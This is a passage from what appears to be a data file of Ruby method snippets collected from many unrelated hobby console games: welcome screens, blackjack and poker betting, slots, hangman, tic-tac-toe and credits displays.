UPTIME!\").bright.underline\n puts \"\"\n puts \"You may type \\\"quit\\\" at any time to leave UPTIME.\"\n puts \"\"\n puts \"Have you used UPTIME on this computer before?\"\n puts \"\"\n puts \" 1. Yes\"\n puts \" 2. No\"\n puts \"\"\n used_before = gets.strip\n self.quit if used_before == \"quit\"\n if used_before == \"1\"\n self.user_already_exists\n elsif used_before == \"2\"\n self.create_new_user\n else\n self.what_was_that?\n self.start\n end\n end", "def call_bet\n # Before we can adjust things we need to take away the player's (original) current bet from a few places.\n # This is so we don't add chips into the pot that don't exist!\n @pot_size -= @active_players[0].current_bet\n @committed -= @active_players[0].current_bet\n\n # If the current bet is more than the player's chip stack it means they need to go all in.\n if @active_players[0].chip_stack <= @table_current_bet\n all_in\n\n # If not, they can call the current bet as normal!\n else\n @active_players[0].current_bet = @table_current_bet\n pot_adjustment\n system 'clear'\n puts 'You have called the current bet.'\n sleep(3)\n end\nend", "def beginBetting\r\n\tprintLine\r\n\tstartBetRound\r\n\tprintLine\r\n\tstartBetting\r\n\t@new_round = false\r\nend", "def launch_battle\n puts \"\\n\"\n puts \"Que le combat commence!\"\n puts \"\\n\"\n end", "def welcome\n Banner.go\n puts\" \n # ####### ####### ###### ##### # # ### \n # #### # # # # # # ###### # # # # # # # # # # # ##### # # #### # # ###### # # ###### ##### #### #### ### \n # # # # ## # # # # # # # # ## # # # # # # # # # # # # ## ## # # # # # # # # # ### \n # # # # # # # # ###### ##### ##### # # # # # ###### # # # # # # ##### # # # ## # ##### ####### ##### # # # # #### # \n # # # # # # # # # # # # # # # # # # ### # # # # # # # # # # # # # # # # # ##### # # # \n # # # # # # ## # # # # # # # # ## ### # # # # # # # # # # # # # # # # # # # # # # # # ### \n ##### #### # # # # # # ###### # #### # # ### ###### #### # ###### ##### ##### #### # # ###### # # ###### # # #### #### ### \n \n \".colorize(:blue)\n user_inpupt=prompt.select(\"\\n\\n---Welcome to the Game of Superheros.\") do |menu|\n menu.choice \"------Register an Account\", -> {register_user_helper}\n menu.choice \"------Log Into Existing Account\", -> {user_login_helper}\n \n end\n\n system 'clear'\n end", "def prompt(current_bet)\n action = [false, current_bet, current_bet+7].sample\n if !action\n @folded = true\n elsif action == current_bet\n @bet = action\n elsif action > current_bet\n @bet = action\n raised = true\n end\n action\n end", "def display_credits\n\n\tConsole_Screen.cls #clear the display area\n\n\t#thank the playser and display game information\n\nputs \"\\t\\tThank you for playing the Ruby Number Guessing Game.\\n\\n\\n\\n\"\nputs \"\\n\\t\\t\\t Developed by Kelvin Penn\\n\\n\"\nputs \"\\t\\t\\t\\t Copyright 2010\\n\\n\"\nputs \"\\t\\t\\tURL: http://www.tech-publishing.com\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\n\nend", "def play\n\t\twelcome\n\t\task_name\n\t\task_name2 \n\t\task_input\n\t\tturns\n\tend", "def startGame(player1, player2)\n\n puts \" Do you want heads(h) or tails(t)?\"\n answer = gets\n answer = answer.chomp\n first = false\n\n # flips the coin\n @coin.flip\n\n # player1 calls what face they want\n if answer == 't'\n if @coin.display == 'Heads'\n first = false\n else\n first = true\n end\n elsif answer == 'h'\n if @coin.display == 'Heads'\n first = true\n else\n first = false\n end\n else\n puts \" fix later\"\n end\n\n # assigns colours baised on who goes first\n if first\n player1.givePieces(\"#FF0000\")\n player1.colour = \"#FF0000\"\n player2.givePieces(\"#0000FF\")\n player2.colour = \"#0000FF\"\n else\n player1.givePieces(\"#0000FF\")\n player1.colour = \"#0000FF\"\n player2.givePieces(\"#FF0000\")\n player2.colour = \"#FF0000\"\n \n end\n\n if first\n puts player1.name + \", You are going first\"\n @view.refreshBoard(@board, [])\n player1.turnStart()\n else\n puts player2.name + \", You are going first\"\n @view.refreshBoard(@board, [])\n player2.turnStart()\n end\n \n while !checkWin() do\n\n if player1.isActive\n # player 1 is active\n @player1.turnEnd()\n @view.refreshUnplayedPieces(@player1)\n @view.refreshUnplayedPieces(@player2)\n @view.refreshBoard(@board, [])\n @view.refreshTurnIndicator(@player2)\n\n player2.turnStart()\n player1.updatePlayedPieces()\n else\n # player 2 is active\n @player2.turnEnd()\n @view.refreshUnplayedPieces(@player1)\n @view.refreshUnplayedPieces(@player2)\n @view.refreshBoard(@board, [])\n @view.refreshTurnIndicator(@player1)\n\n player1.turnStart()\n player2.updatePlayedPieces()\n end\n end\n\n # ask if user's want to reset.\n puts \" Do you want to reset and play another game? Please enter Y or N.\"\n answer = gets\n answer = answer.chomp\n\n # handle input\n if answer == 'Y' || answer == 'y'\n reset()\n elsif answer == 'N' || answer == 'n'\n puts \"Goodbye I hope you had fun playing the game!\"\n else\n puts \" Invalid input detected. The game will be reset\"\n reset() \n end \n end", "def welcome_screen\n puts render_ascii_art\n puts \"Welcome to DPL Casino! Enter at your own risk!\"\n puts \"What is your name?\"\n user_input = gets.strip\n puts \"Welcome, #{user_input}!\"\n puts \"Shall we play a game? How much money would you like to play with today?\"\n money = gets.strip.to_i\n @wallet = Wallet.new(money)\n if @wallet.validate_money(money)\n puts \"Big money! Your starting bankroll is: $#{@wallet.current_balance}\"\n puts \"What would you like to do now?\"\n main_menu\n else puts \"Invalid amount. Try again.\"\n welcome_screen\n end\n end", "def welcome\n puts \"Welcome to my Alternative Planet Facts program!\"\n puts \"This is a useful tool for wasting time!\"\n pick_a_planet\n end", "def game_finder\n puts\n puts \"Looking For An Empty Lobby!\"\n sleep(3)\n puts \"Oh Look, Game 1 Is Empty\"\n #Futrue version will display all empty games\n #Seeker will then start each round\nend", "def prompt\n if @first_guess\n first_turn\n else\n second_turn\n end\n end", "def game_start\n computer_choice = get_random_choice\n puts(\"Welcome to rock, paper, scissors, lizard, spock game\")\n puts(\"Please enter your choice\")\n \n # a user has 3 chances for an invalid input\n is_valid = false\n user_choice = gets.chomp\n user_choice = user_choice.downcase\n for i in 0..1\n if (!is_valid_input(user_choice))\n puts(\"Invalid input, please enter one of: rock, paper, scissors, lizard, spock\")\n user_choice = gets.chomp\n user_choice = user_choice.downcase\n else\n is_valid = true\n break\n end\n end\n\n if !is_valid\n puts(\"You've entered an invalid choice for three times, game over\")\n else\n match_status = computer_choice.is_defeat(user_choice)\n case match_status\n when 0\n puts(\"DRAW\")\n puts(\"your choice: \" + user_choice )\n puts(\"computer choice: \" + computer_choice.get_name)\n when -1 # computer lose\n puts(\"You WIN!\" )\n puts(\"your choice: \" + user_choice )\n puts(\"computer choice: \" + computer_choice.get_name)\n puts(announce_winner(user_choice, computer_choice.get_name))\n when 1 # computer win\n puts (\"You LOSE :(\")\n puts(\"your choice: \" + user_choice )\n puts(\"computer choice: \" + computer_choice.get_name)\n puts(announce_winner(computer_choice.get_name, user_choice))\n end\n end\n end", "def call_bet\r\n call_amount = @table.current_bet\r\n (padding,pronoun) = self.is_a?(User) ? [30,\"You\"] : [33,\"Player ##{player_id+1}\"]\r\n puts \"\\n%#{padding}s\\n\" % \"#{pronoun} called $#{call_amount}.\"\r\n @table.add_player_bet(self, call_amount)\r\n end", "def run\n choose_game(prompt)\nend", "def display_credits\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Thank the player and display game information\r\n puts \"\\t\\t Thank you for playing the Word Guessing Game.\\n\\n\\n\\n\"\r\n puts \"\\n\\t\\t\\t Developed by Corey Hicks\\n\\n\"\r\n puts \"\\t\\t\\t\\t Copyright 2018\\n\\n\"\r\n puts \"\\t\\t\\tURL: http://www.bellevue.edu\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n\r\n end", "def run_game\n bet()\n starting_hands()\n user_input = ''\n while user_input != \"s\" && user_input != \"stand\"\n show_hands()\n if hand_value(@player_hand) == 21\n puts \"\\BLACKJACK! YOU WIN!\"\n @user[:balance] += (@wager * 1.5)\n puts \"\\nYour new balance is $#{@user[:balance]}\"\n return\n end\n puts \"\\nWould you like to (H)it or (S)tand?\"\n user_input = gets.chomp.downcase\n if user_input == 'h' || user_input == 'hit'\n hit(@player_hand)\n if hand_value(@player_hand) > 21\n puts \"BUST! Sorry, you LOSE\"\n @user[:balance] -= @wager\n puts \"\\Your new balance is $#{@user[:balance]}\"\n return\n end\n elsif user_input == 'S' || user_input == 'stand'\n puts \"\\Good Luck!\"\n else\n puts \"\\Invalid input, try again\"\n end\n end \n dealer_decision()\n calculate_conditions() \n end", "def individual_bet(player)\n if $Counting_Mode\n print counting_recommended_bet(player)\n print \"You have $#{player.wallet}. \"\n else\n print \"#{player.name}, you have $#{player.wallet}. \"\n end\n\n bet = get_int_input \"How much would you like to wager? $\"\n\n if bet < @table_minimum\n linebreak\n puts \"You must bet at least the minimum bid of $#{@table_minimum}.\"\n individual_bet(player)\n elsif bet > player.wallet\n linebreak\n puts \"You cannot bet more than you have left in your wallet.\"\n individual_bet(player)\n else\n player.wallet -= bet\n player.current_bet = bet\n end\n end", "def game_start\n puts \"Welcome to Blackjack! Please enter your name: \"\n # prompt user for players name\n player_name = gets.chomp\n puts \"hi, #{player_name}! the game started now. happy gaming! \"\n player_name\n end", "def display_credits\n\n\tConsole_Screen.cls #clear the display area \n\n\t#thanks the player and siplay game information\n\tputs \"\\t\\t Thank you for playing the Word Guessing Game. \\n\\n\\n\"\n\tputs \"\\n\\t\\t\\t Developed by Kelvin Penn\\n\\n\"\n\tputs \"\\t\\t\\t\\t Copyright 2010\\n\\n\"\n\tputs \"\\t\\t\\tURL: httyp://www.tech-publishing.com\\n\\n\\n\\n\\n\\n\\n\\n\"\n\nend", "def game_lancement_combat\n puts \"\\n Voici l'état des joueurs :\\n\\n \"\n puts \"#{@player1.show_stats}\\n#{@player2.show_stats}\"\n puts \"\\n\\n Press Enter pour démarrer le combat !!\"\n gets.chomp\nend", "def launch_program\n gametype = nil\n puts \"---Welcome to Hang-Man!---\"\n puts \"Anytime during the game you can write\"\n puts \"save\".colorize(:red) + \" or \" + \"quit\".colorize(:red)\n puts \"to either save or quit your game\"\n until gametype == \"newgame\" || gametype == \"load\"\n puts \"For a new game, type \" + \"newgame.\".colorize(:red)\n puts \"To load an old game, type \" + \"load.\".colorize(:red)\n gametype = gets.chomp.downcase\n if gametype == \"newgame\"\n game_start\n else\n load_game\n end\n end\n end", "def display_credits\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Thank the player and display game information\r\n puts \"\\t\\tThank you for taking the Trivia QUIZ.\\n\\n\\n\\n\"\r\n \r\n\r\n end", "def start\n puts \"=====================================================================\"\n puts \"Hello! Welcome to a command line version of the classic Hangman.\"\n print \"Please type 'number of row' you want in your board \"\n choice = gets.chomp\n choose_game(choice)\n end", "def welcome_to_the_game\n\t\t# Welcome the player to the game\n\t\tputs \"\\nWelcome to the Secret Number Game! \\nI, Alex, worked hard to make it for you!\"\n\n\t\t# Call the method to get the player's name\n\t\tself.get_name\n\n\t\t# Let the player know the rules\n\t\tputs \"\\nThanks for playing #{self.player_name}!\"\n\t\tputs \"I am thinking of a number between 1 and #{range}\"\n\t\tputs \"You will have #{self.guesses} attempts to guess that secret number\"\n\tend", "def print_out_start_of_game\n\n puts \"Welcome to a new version of the 2 Player Game.\"\n puts \"\"\n\nend", "def display_credits\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Thank the player and display game information\r\n puts \"\\t\\tThank you playing the Ruby Number Guessing Game.\\n\\n\\n\\n\"\r\n puts \"\\n\\t\\t\\t Developed by Jerry Lee Ford, Jr.\\n\\n\"\r\n puts \"\\t\\t\\t\\t Copyright 2010\\n\\n\"\r\n puts \"\\t\\t\\tURL: http://www.tech-publishing.com\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n\r\n end", "def display_credits\r\n \r\n Console_Screen.cls #Clear the display area\r\n \r\n #Thank the player and display game information\r\n puts \"\\t\\tThank you playing the Ruby Number Guessing Game.\\n\\n\\n\\n\"\r\n puts \"\\n\\t\\t\\t Developed by Jerry Lee Ford, Jr.\\n\\n\"\r\n puts \"\\t\\t\\t\\t Copyright 2010\\n\\n\"\r\n puts \"\\t\\t\\tURL: http://www.tech-publishing.com\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n\r\n end", "def start_game\n @deck_current = @deck_default\n @hand_dealer = []\n @hand_player = []\n get_card_and_put_in_hand(\"dealer\")\n get_card_and_put_in_hand(\"dealer\")\n get_card_and_put_in_hand(\"player\")\n get_card_and_put_in_hand(\"player\")\n\n display_board_screen(true)\n\n result_player = turn_player\n\n if result_player === \"over\"\n puts \"player is over 21, press enter to continue\"\n gets\n bet_attribution(\"lose\")\n display_betting_screen(false)\n elsif result_player === \"stay\"\n result_dealer = turn_dealer\n end\n \n if result_dealer === \"over21\"\n puts \"Dealer over 21, press enter to continue\"\n gets\n bet_attribution(\"win\")\n display_betting_screen(false)\n elsif result_dealer === \"over17\"\n final_result = check_who_wins(calculate_hand_total_value(@hand_dealer), calculate_hand_total_value(@hand_player))\n if final_result === \"draw\"\n puts \"It's a draw, press enter to continue\"\n bet_attribution(\"push\")\n elsif final_result === \"player\"\n puts \"Player wins, press enter to continue\"\n bet_attribution(\"win\")\n elsif final_result === \"dealer\"\n puts \"Dealer wins, press enter to continue\"\n bet_attribution(\"lose\")\n end\n \n gets\n display_betting_screen(false)\n end\n\nend", "def ask_question\n puts '---- NEW TURN -----'\n puts \"#{@current_player.name}: what does #{@first_number} plus #{@second_number} equal?\"\n \n end", "def coin_toss_intro\n self.player_turn_number = 0\n coin_toss_result = toss_coin\n player_coin_guess = human_player.intro_coin_guess\n player_coin_guess == coin_toss_result ? who_goes_first = \"Player\" : who_goes_first = \"Computer\"\n self.player_turn_number = 1 if who_goes_first == \"Player\"\n puts \"The result of the toss was #{coin_toss_result}, and you guessed #{player_coin_guess}.\"\n puts who_goes_first == \"Player\" ? \"The Player goes first!\" : \"The Computer goes first!\"\n end", "def round\n show_guess\n show_lives\n show_bank\n puts ''\n set_letter(ask_letter)\n add_to_bank\n add_to_guess\n take_life unless check_choice\n end", "def greeting\n puts \"\\n★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★\"\n puts \" ● WELCOME TO TIC TAC TOE ●\"\n puts \"★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★\"\n\n puts \"\\n❉ Game Types ❉\"\n puts \"--------------------------------------------\"\n puts \">> 1 << One Player Game\"\n puts \">> 2 << Two Players Game\"\n puts \">> 0 << The computer will play against itself\"\n puts \"--------------------------------------------\"\n end", "def start_screen()\n puts \"Welcome to Hangman.\"\n puts \"'N' to start a new game, 'L' to load!\"\n choice = gets.chomp.upcase\n if choice == 'N'\n self.play\n elsif choice == 'L'\n load_game\n else\n puts \"Please choose 'N' or 'L' next time.\"\n puts \"For now the culprit's fate is spared. Take care!\"\n end\n end", "def display_welcome_message\n\tputs \"Welcome to Raz's Blackjack version 1.0\"\n\tdisplay_money\nend", "def program_start\n\t\tputs \"Let's play a round of Hangman!\"\n\t\tputs \"Would you like to start a new game or do want to load an old saved game lying around? Choose from:\"\n\t\tputs \"- New\"\n\t\tputs \"- Load\"\n\t\tstart_choice = gets.chomp.downcase\n\t\tputs \"\"\n\t\tif (start_choice == \"new\")\n\t\t\tstart_game(new_word)\n\t\telsif (start_choice == \"load\")\n\t\t\tload_game\n\t\telse\n\t\t\tputs \"Your input was invalid, program starting again...\\n\\n\"\n\t\t\tprogram_start\n\t\tend\n\tend", "def turn_front_end() \n\t\tputs \"turn number #{@turns_taken}\"\n\t\tif @game.player_won == false\n\t\t\twhile @game.swap_player == false \n\t\t\t\tputs \"#{@game.current_player.marker}, please choose a square (1-9)\"\n\t\t\t\tchosen_box = gets.chomp.to_i\n\t\t\t\tputs @game.check_box(chosen_box)\n\t\t\tend\n\t\t\tputs \"#{@game.current_player.marker} chose #{chosen_box.to_s}\"\n\t\t\[email protected]_back_end(chosen_box)\n\t\t\tif @game.player_won\n\t\t\t\tputs \"#{@game.current_player.marker} won!\"\n\t\t\t\t@turns_taken = 100\n\t\t\tend\n\t\t\tputs @game.show_board\n\t\tend\n\tend", "def bet_on_a_number\n puts \"\\nPlease choose the amount of your bet.\"\n puts \"Your bankroll balance is #{@player.bankroll}.\"\n print \"\\n Your bet amount is: $\"\n @bet_amount = gets.to_i\n player.bankroll = (@player.bankroll - @bet_amount) \n puts \"\\nChoose a number.\"\n puts \n user_number_choice = gets.to_i\n roulette_number_result = @roulette_options.sample[:number]\n puts \"\\nThe wheel landed on number #{roulette_number_result}.\" \n puts \n if user_number_choice == roulette_number_result \n number_bet_winnings = @bet_amount * 35\n puts \"\\tYou win $#{number_bet_winnings}\"\n @player.bankroll = @player.bankroll + (number_bet_winnings) \n puts \"\\n\\tYour current balance is $#{@player.bankroll}.\"\n play_again_function \n else \n puts \"\\n\\tSorry, you lose.\"\n play_again_function \n end \n end", "def bet\n user_input = false\n until user_input == true\n puts \"How much would you like to bet? (Enter amount or Quit)\"\n user_input = gets.chomp.to_i\n if user_input > @user[:balance]\n puts \"Sorry, you don't have enough money for that bet\"\n puts \"Your balance is $#{@user[:balance]}\" \n elsif user_input <= @user[:balance]\n @wager = user_input\n puts \"All bets are placed!\"\n user_input = true\n return\n else\n puts \"Invalid Selection\"\n end\n end\n end", "def ask_for_start\n puts \"Do you want to start the game? y/n\"\n user_input = Info.get_user_input\n if user_input.downcase == \"y\"\n start_game\n elsif user_input.downcase == \"n\"\n puts \"You said no :(\"\n else\n exit_app\n end\n end", "def game_start\n clear\n warning\n clear\n if @intro\n introduction()\n end\n clear\n countdown\n until @promptarr == []\n game_round() \n end\n @running = game_over(@score)\n end", "def welcome_screen\n\n\nputs \"\"\nputs \"**************************************************************************\"\nputs \"Bienvenue dans la zone secrète, je vais te révéler tous les messages de Flo...\"\nputs \"Réhausse ton slip et mets tes lunettes !\"\nputs \"**************************************************************************\"\nputs \"\"\nputs \"**************************************************************************\"\nputs \"1er secret : Pour accentuer l'opportunité solutionnelle, chaque entité doit anticiper les cibles vente.\"\nputs \"2ème secret : Pour accentuer la mondialisation situationnelle, il faut rapidement chiffrer les référents qualité.\"\nputs \"3ème secret : Face à l'adaptabilité quantitative, mieux vaut optimiser les intervenants organisation.\"\nputs \"**************************************************************************\"\nputs \"\"\nputs \"Fais en bon usage !\"\nputs \"\"\n\n\nend", "def game_start_human_codebreaker\n reset_instance_variables_values\n start_game_welcome_human(@human.name)\n choices\n print_colorized_array(COLORS)\n end", "def casino_floor\n puts\n puts \"Welcome back!\"\n @person_wallet.show_wallet\n choose_game\n end", "def start\r\n\t\t\[email protected] \"Welcome to Deal or No Deal!\"\r\n\t\t\[email protected] \"Designed by: #{created_by}\"\r\n\t\t\[email protected] \"StudentID: #{student_id}\"\r\n\t\t\[email protected] \"Starting game...\"\r\n\t\tend", "def start \n puts \"Welcome to \" + blue(\"Apeture Science TicTacToe\") + \", were we screen the test \" + blue(\"test subjects\") + \" from the \" + pink(\"cake ingredients\") \n # Get input from player on game mode\n valid = false\n until valid == true\n puts \"To play against another pathetic test \\\"participant\\\", \" + blue(\"press P\") + \". If you dare challenge a cyber god, \" + blue(\"press A\") + \". On a relevant note, \" + pink(\"please don't spill tears into any Apeture Science equipement.\")\n @input = STDIN.gets.chomp.downcase\n\n valid = \"pa\".split(\"\")\n if valid.include?(@input)\n valid = true\n else\n puts \"Seems you could not manage that simple task. Well at least you can rest assured that \" + pink(\"you will burn well.\")\n end\n end\n # Set game mode\n if @input == \"p\"\n @game_mark = \"player\"\n elsif @input == \"a\"\n @AI = AI.new(@game, self) \n @game_mark = \"AI\" \n if @game.current_player == \"X\" \n @AI.make_move\n end\n end\n start_turn \n end", "def first_or_second\n turn_answer = ''\n loop do\n prompt 'Would you like to go first or second?'\n sleep 1.5\n prompt 'Press [1] to go first and [2] to go second.'\n turn_answer = gets.chomp\n break if turn_answer.downcase.start_with?('1', '2')\n prompt 'That is not a valid answer'\n end\n \n if turn_answer == '1'\n 'Player'\n elsif turn_anser == '2'\n 'Computer'\n end\nend", "def welcome_screen\n puts \"Welcome to Word Guess! Let me think of a word first..... ok got it\"\n puts \"You can guess wrong 5 times until the cat eats you\"\nend", "def welcome\t\n\t\tputs \"Enjoy the Game #{$person.show_name}\"\n\t\tputs \"This game is about guessing a '\\Secret Number'\\ between 1-10. You have 3 attempts to identify the '\\Secret Number'\\. \n\t\t You win if you guess the '\\Secret Number'\\ withing the 3 attempts, otherwise you lose the game!\"\n\tend", "def new_game\n set_player\n\n if human_player?\n start_message(:welcome)\n\n set_grid\n puts\n set_bombs\n\n else #non-human\n start_message(:robot_game)\n @robot = Robot.new()\n @grid_size = @robot.grid_size\n @num_bombs = @robot.num_bombs\n end\n @play_again = true\nend", "def welcome\n system \"clear\"\n title_print\n puts \"Welcome to Super Fight Bros. The goal of this game is to become the ultimate fight master.\nWhen you create a new user, your Power and Combat are automatically set at 25. Through a series of\nfights, quests, and tournaments, you can increase these attributes to win more fights and climb the\nleader board! Do you think you have what it takes to reach the top?\\n\\n\"\n begin \n puts \"Please press C to continue\"\n end while !input_check(\"C\")\n end", "def player_goes_first?\n valid_names = [human.name, computer.name, \"Random\"]\n clear_screen_and_dispay_welcome_message\n choice = ''\n puts \"Who goes first? (#{joinor(valid_names)})\"\n loop do\n choice = gets.chomp.strip.downcase\n break if (valid_names.map(&:downcase)).include?(choice)\n puts \"Not a valid response! Type: #{joinor(valid_names)}\"\n end\n\n return random_boolean if choice == 'random'\n choice == human.name.downcase\n end", "def intro_prompt(intro_prompt_answer, current_user)\n\n if intro_prompt_answer == \"Run inside and save them\"\n system \"clear\"\n\n puts user_stats(current_user)\n\n puts \"You run up the steps to save the villages. The doors have been chained shut.\"\n # sleep 1\n\n run_into_temple(current_user)\n\n elsif intro_prompt_answer == \"Look for water to put out the fire\"\n system \"clear\"\n puts user_stats(current_user)\n\n puts \"You frantically search for water but find nothing. You return to the temple.\"\n sleep 1\n\n look_for_water(current_user)\n\n else\n system \"clear\"\n puts user_stats(current_user)\n\n puts \"It’s too dangerous and you need to save your energy in case you run into more trouble.\"\n sleep 1\n puts \"You continue making your way through the village.\"\n sleep 1\n\n continue(current_user)\n end\n end", "def run_round\n switch_player!\n question = Question.new\n puts \"----- NEW TURN -----\"\n puts \"#{@active_player.name} : #{question.display_question} \"\n answer = gets.chomp.to_i\n\n if question.correct?(answer)\n puts \"#{@active_player.name} : YES! You are correct.\"\n puts \"P#{@players[0].name[-1,1]} : #{@players[0].life}/3 vs P#{@players[1].name[-1,1]} : #{@players[1].life}/3\"\n else\n puts \"#{@active_player.name} : Seriously? No!\"\n @active_player.minuslife\n puts \"P#{@players[0].name[-1,1]} : #{@players[0].life}/3 vs P#{@players[1].name[-1,1]} : #{@players[1].life}/3\"\n end\n end", "def welcome\n puts \"\"\n puts \"Welcome, your score will be saved to #{@user.email}.\".yellow\n puts \"\"\n puts \"You have #{@user.questions.length} points.\"\n sleep(2)\n end", "def player_bj\n display(\"Nice job with the BJ! Let's stay put.\")\n end", "def display_credits\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Thank the player and display game information\r\n puts \"\\t Thank you for playing the Rock, Paper, Scissors game.\\n\\n\\n\\n\"\r\n puts \"\\n\\t\\t\\t Developed by Corey Hicks\\n\\n\"\r\n puts \"\\t\\t\\t\\t Copyright 2018\\n\\n\"\r\n puts \"\\t\\t\\tURL: http://www.bellevue.edu\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\r\n\r\n end", "def start_game\n game_logo\n game_start_screen\n game_rules\n last_rules\n choice = maker_breaker\n game_maker if choice == 'm'\n game_breaker if choice == 'b'\n end", "def start\n @win_state = CHECK # clear out win_state for new games\n get_player_name\n deck.deal_hand(players)\n show_flops\n player_turn\n dealer_turn\n check_winner\n play_again?\n end", "def show_start_game(game)\n puts \"#{game.player1.name} is: #{game.player1.identity}\"\n puts \"#{game.player2.name} is: #{game.player2.identity}\"\n puts 'TIC TAC TOE.. start!'\nend", "def start\n puts \"We have new challengers! Welcome #{@player_1.name} and #{@player_2.name}!\"\n turn\n end", "def main\n # Class Instances\n game = Game.new\n player1 = Player.new(1)\n player2 = Player.new(2)\n # Start of main engine\n #player1.name = prompt_UI.name.....\n player1.get_name\n player2.get_name\n game.display_welcome(player1, player2)\n # Sets the current turn order\n current_player = player1\n # Start of main game loop\n continue = true\n while continue\n # go to game to get, go to UI to present\n game.display_question(current_player)\n current_player.display_score\n if current_player.game_over?\n game.final_score(player1, player2)\n continue = false\n end\n if current_player == player1\n current_player = player2\n else\n current_player = player1\n end\n end\nend", "def main\n include GameStatus\n the_user = User.new\n\n if the_user.prompt_start.downcase.eql? 'y'\n #game continues to begin\n else\n puts(Colors.colorize('Why not tho?', 'cyan_b'))\n exit(0)\n end\n\n Output.print_intro\n the_secret_code = SecretCode.new\n the_user.take_input\n the_user.give_feedback\nend", "def slot_game\n def welcome_slots\n puts `clear`\n puts \"Welcome to slots, #{@player_name}\".light_cyan\n puts \"Bankroll = $#{@player_bankroll}\".light_blue\n puts '************************************************************'.light_black\n puts 'The object of this game is to bet on two or three of a kind.'.light_cyan\n puts ''\n puts ''\n end\n\n @arr_1 = %w[1 2 3 4 5 6 7 8 9]\n @arr_2 = %w[1 2 3 4 5 6 7 8 9]\n @arr_3 = %w[1 2 3 4 5 6 7 8 9]\n\n\n welcome_slots\n \n\n\n\n def barrels\n puts 'How much would you like to bet?'.light_cyan\n @player_bet = gets.to_i\n puts ''\n puts \"Your bet is $#{@player_bet}.\".light_blue\n puts ''\n if @player_bet > @player_bankroll\n puts \"You currently have #{@player_bankroll}, let's bet it all then!\".light_red\n @player_bet = @player_bankroll\n end\n\n one_barrel = @arr_1.sample\n two_barrel = @arr_2.sample\n three_barrel = @arr_3.sample\n\n print one_barrel.light_cyan\n sleep(0.5)\n print \" \", two_barrel.light_cyan\n sleep(0.5)\n print \" \", three_barrel.light_cyan, \"\\n\\n\"\n\n if one_barrel == two_barrel && one_barrel == three_barrel\n @player_bankroll += (@player_bet * 3)\n puts \"all three match . . . your new bankroll is $#{@player_bankroll}\".green\n elsif one_barrel == two_barrel || two_barrel == three_barrel || one_barrel == three_barrel\n @player_bankroll += (@player_bet * 2)\n puts \"two of them match . . . your new bankroll is $#{@player_bankroll}\".light_green\n else \n @player_bankroll = @player_bankroll - @player_bet\n puts \"nothing matches . . . you lost, your new bankroll is $#{@player_bankroll}\".light_red \n end\n puts ''\n\n end\n\n while true\n barrels\n if @player_bankroll == 0\n puts \"You're out money you loser\".red\n puts 'Taking you to the main menu - type 3 to add more money'.green\n sleep(5)\n game_menu\n end\n puts'Do you want to pull again? (y/n)'.light_cyan\n again = gets.strip.downcase\n if again == 'n'\n puts 'Would you like to play a different game? (y/n)'.light_green\n if gets.strip.downcase == 'y'\n game_menu\n else\n puts `clear`\n puts '***********************************'.light_black\n puts \"Thank you for playing! Come again!\".red\n puts '***********************************'.light_black\n exit 0\n end\n end\n end\nend", "def turn_game\n\t\t@player_1.new_question\n\t\tcheck_score\n\t\t@player_2.new_question\n\t\tcheck_score\n\t\tcheck_status\n\t\tputs '------------NEW-TURN-------------'\n\t\tturn_game\n\tend", "def running(turn, time_to_guess, last_guess, last_word, last_feedback)\n system('cls')\n puts '***************************************************************'\n puts '* Word Mastermind *'\n puts '***************************************************************'\n puts '* Turn Number: ' + turn.to_s + ' Turns To Guess: '+time_to_guess.to_s+' *'\n puts '***************************************************************'\n puts ''\n puts ' REMEMBER: Your Word can only have 5 letters, and can only'\n puts ' contain one of each character!'\n puts ''\n puts '|X| = Not in word |O| = In the word and the correct place'\n puts '|-| = In the word but in the incorrect place '\n puts ''\n puts ' Your Last Guess Was: ' + last_word\n puts ''\n puts ' ' + \"#{last_guess}\"\n puts ' ' + \"#{last_feedback}\"\n puts ''\n puts ''\n puts 'What will you guess this turn?'\n puts ''\n print 'Guess: '\n end", "def welcome\n system(\"clear\")\n puts \"Let's play a round of Ghost!\"\n display_standings\n end", "def begining\r\n\t\t\[email protected] \"-----------------------------------------------------------------------\"\r\n\t\t\[email protected] \"Enter 1. runs game in command-line window or 2. runs it in web browser.\"\r\n\t\t\[email protected] \"-----------------------------------------------------------------------\"\r\n\t\t\tflag = 0\r\n\t\t\twhile flag == 0\r\n\t\t\t\tgame = @input.gets.chomp\r\n\t\t\t\tif game == \"1\"\r\n\t\t\t\t\[email protected] \"\\nCommand line game.\\n\"\r\n\t\t\t\t\treturn game\r\n\t\t\t\telsif game == \"2\"\r\n\t\t\t\t\[email protected] \"\\nWeb-based game.\\n\"\r\n\t\t\t\t\treturn game\r\n\t\t\t\telse\r\n\t\t\t\t\[email protected] \"\\nInvalid input! Enter again.\\n\"\r\n\t\t\t\t\tnext\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend", "def tb_first_turn\n TM.init_first_turn if TM.do_first_turn\n end", "def choose_action(player1, player2)\n\t\tputs \"Quelle action veux-tu effectuer ?\\n a - chercher une meilleure arme\\n s - chercher à se soigner \"\n\t\tputs \" attaquer un joueur en vue :\"\n\t\tif player1.life_points > 0 \n\t\t\tputs \" 0 - #{player1.show_state} \"\n\t\telse puts \" #{player1.name} est KO, aucun action possible\"\n\t\tend\n\t\tif player2.life_points > 0 \n\t\t\tputs \" 1 - #{player2.show_state}\"\n\t\telse puts \" #{player2.name} est KO, aucun action possible\"\n\t\tend\n\t\tprint \"> \"\n\t\treturn gets.chomp\nend", "def main_menu\n prompt = TTY::Prompt.new\n first = prompt.select(\"Greetings, #{@player.player_name}. Select Go to Town to start your adventure!\", %w(Go_to_Town Change_my_Name View_my_Quests View_my_Inventory View_my_Renown Slay_the_Dragon Save_the_Kingdom Exit_Game))\n #binding.pry\n if first == \"Go_to_Town\"\n system \"clear\"\n town_menu\n elsif first == \"Change_my_Name\"\n system \"clear\"\n change_name\n elsif first == \"View_my_Quests\"\n system \"clear\"\n 